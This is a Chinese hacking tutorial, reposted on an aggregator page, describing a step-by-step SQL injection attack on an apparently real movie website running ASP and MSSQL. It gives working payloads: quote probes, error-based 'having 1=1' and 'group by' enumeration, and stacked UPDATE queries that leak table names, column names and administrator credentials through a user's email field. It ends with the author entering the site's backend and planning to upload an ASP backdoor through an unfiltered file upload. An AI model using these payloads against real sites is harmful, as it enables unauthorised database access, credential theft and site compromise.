SQL注入的新技巧

來源:互聯網
上載者:User
技巧  SQL注入的新技巧 來源:駭客基地
                表名和欄位名的獲得
適用情況:
1)資料庫是MSSQL
2)串連資料庫的只是普通使用者
3)不知道ASP原始碼

可以進行的攻擊
1)對資料內容進行添加,查看,更改

執行個體:
本檔案以
http://www.dy***.com/user/wantpws.asp
為列進行測試攻擊。

第一步:
在輸入使用者名稱處輸入單引號,顯示
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
字串 ''' 之前有未閉合的引號。

/user/wantpws.asp,行63

說明沒有過濾單引號且資料庫是MSSQL.

第二步:
輸入a';use master;--
顯示
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e21'
多步 OLE DB 操作產生錯誤。如果可能,請檢查每個 OLE DB 狀態值。沒有工作被完成。

/user/wantpws.asp,行63
這樣說明沒有許可權了。

第三步:
輸入:a' or name like 'fff%';--
顯示有一個叫ffff的使用者哈。

第四步:
在使用者名稱處輸入
ffff' and 1<>(select count(email) from [user]);--
顯示:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e37'
對象名 'user' 無效。

/user/wantpws.asp,行96

說明沒有叫user的表,換成users試試成功,同時說明有一個叫email的列.
(東方飄雲的一個辦法是輸入a' having 1=1--
一般返回如下也就可以直接得到表名和一個欄位名了
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
列 'users.ID' 在挑選清單中無效,因為該列未包含在彙總函式中,並且沒有 GROUP BY 子句。

/user/wantpws.asp,行63


)

現在我們知道了ffff使用者的密碼是111111.

下面通過語句得到資料庫中的所有表名和欄位名。

第五步:
輸入:
ffff';update [users] set email=(select top 1 name from sysobjects where   xtype='u' and status>0) where name='ffff';--
說明:
上面的語句是得到資料庫中的第一個使用者表,並把表名放在ffff使用者的郵箱欄位中。
通過查看ffff的使用者資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where   xtype='u' and name='ad') where name='ffff';--
同上可知id是:581577110
由於對象標誌id是根據由小到大排列的所以我們可以得到所有的使用者表的名字了
象下面這樣就可以得到第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where   xtype='u' and id>581577110) where name='ffff';--

ad         581577110
users         597577167
buy         613577224
car         629577281
learning     645577338
log         661577395
movie         677577452
movieurl     693577509
password     709577566
type         725577623
talk

經過一段時間的猜測後我們得到上面的分析一下應該明白password,users是最得要的

第六步:猜重要表的欄位
輸入:
現在就看看users表有哪些欄位
ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';--
得到第三個欄位是password
ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';--
得到第四個欄位是name
最後users表的欄位共28個全得到了
(注:另一個得到欄位的辦法,前提是系統的返回出錯資訊
a' group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
列 'users.userid' 在挑選清單中無效,因為該列既不包含在彙總函式中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
這個第二個欄位就是userid
顯示第三個欄位。
a' group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
列 'users.password' 在挑選清單中無效,因為該列既不包含在彙總函式中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
得到是password
同理,一直顯示出所有。:)
)

users表
1     2           3           4
id   userid     password   name

  5           6               7   8       9         10     11       12     13   14     15     16
Province   homeaddress   city   adress   starlook   sex     email   nlook   nos   date   money   send
                                     
17         18     19         20     21         22       23     24         25     26     27     28
oklook   dnlook lasthits   phone   askmejoin getmoney payno   logintime mflag   state post   note


starlook--12 10 2003   2:41PM
nlook---0
nos---2   登陸次數
date--12 10 2003 12:00AM   註冊時間?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--這傢伙很。。。 說明

password表
1     2       3
id     name   pwd

然後我又試ad原來是用來記錄廣告擊點的。。
然後又試password表得到有name和pwd欄位。
執行
ffff';update [users] set email=(select top 1 name from password) where name='ffff';--
可得第一個使用者名稱是admin123看樣兒多半是管理員了。
然後又得到了密碼是dy***dick188還是打星號算了哈哈...

這樣我們就完全進入了這個電影網站的後台了哈哈。
http://www.dy***.com/login.asp

再進一步還可以知道管理員一共有三人密碼也都能看到了。
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--


只是能免費看電影好象還不夠哈..我看了看它的後台管理原來在
添加電影的地方對於上傳的圖片沒有過濾.asa的檔案,這樣我就
能上傳一個asp後門並執行.




相關文章

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。